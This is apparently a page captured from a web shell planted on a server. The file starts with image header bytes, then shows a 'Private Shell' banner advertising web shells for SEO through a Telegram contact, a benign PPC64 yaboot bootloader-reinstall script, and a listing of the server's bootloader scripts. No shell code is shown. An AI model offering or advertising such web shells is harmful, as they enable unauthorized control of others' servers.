����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# THIS SCRIPT CONTAINS PPC64/PPC64LE SPECIFIC
#################################################################
# skip if yaboot conf is not found
test -f $TARGET_FS_ROOT/etc/yaboot.conf || return 0
# check if yaboot.conf is managed by lilo, if yes, return
if test -f $TARGET_FS_ROOT/etc/lilo.conf; then
# if the word "initrd-size" is present in yaboot.conf, this mean it should be
# managed by lilo.
if grep -qw initrd-size $TARGET_FS_ROOT/etc/yaboot.conf; then
LogPrint "yaboot.conf found but seems to be managed by lilo."
return
fi
fi
# Reinstall yaboot boot loader
LogPrint "Installing PPC PReP Boot partition."
test -z "$PREP_BOOT_PART" && LogPrint "PReP boot partition not found."
LogPrint "Running mkofboot ..."
chroot $TARGET_FS_ROOT /sbin/mkofboot -b "$PREP_BOOT_PART" --filesystem raw -f
[ $? -eq 0 ] && NOBOOTLOADER=
test $NOBOOTLOADER && LogPrint "No bootloader configuration found. Install boot partition manually."
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 540_check_lilo_path.sh | File | 1.37 KB | 0644 |
|
| 540_check_yaboot_path.sh | File | 1.87 KB | 0644 |
|
| 635_install_yaboot.sh | File | 967 B | 0644 |
|
| 640_install_lilo.sh | File | 468 B | 0644 |
|
| 660_install_grub2.sh | File | 10.16 KB | 0644 |
|
| 680_install_PPC_bootlist.sh | File | 1.98 KB | 0644 |
|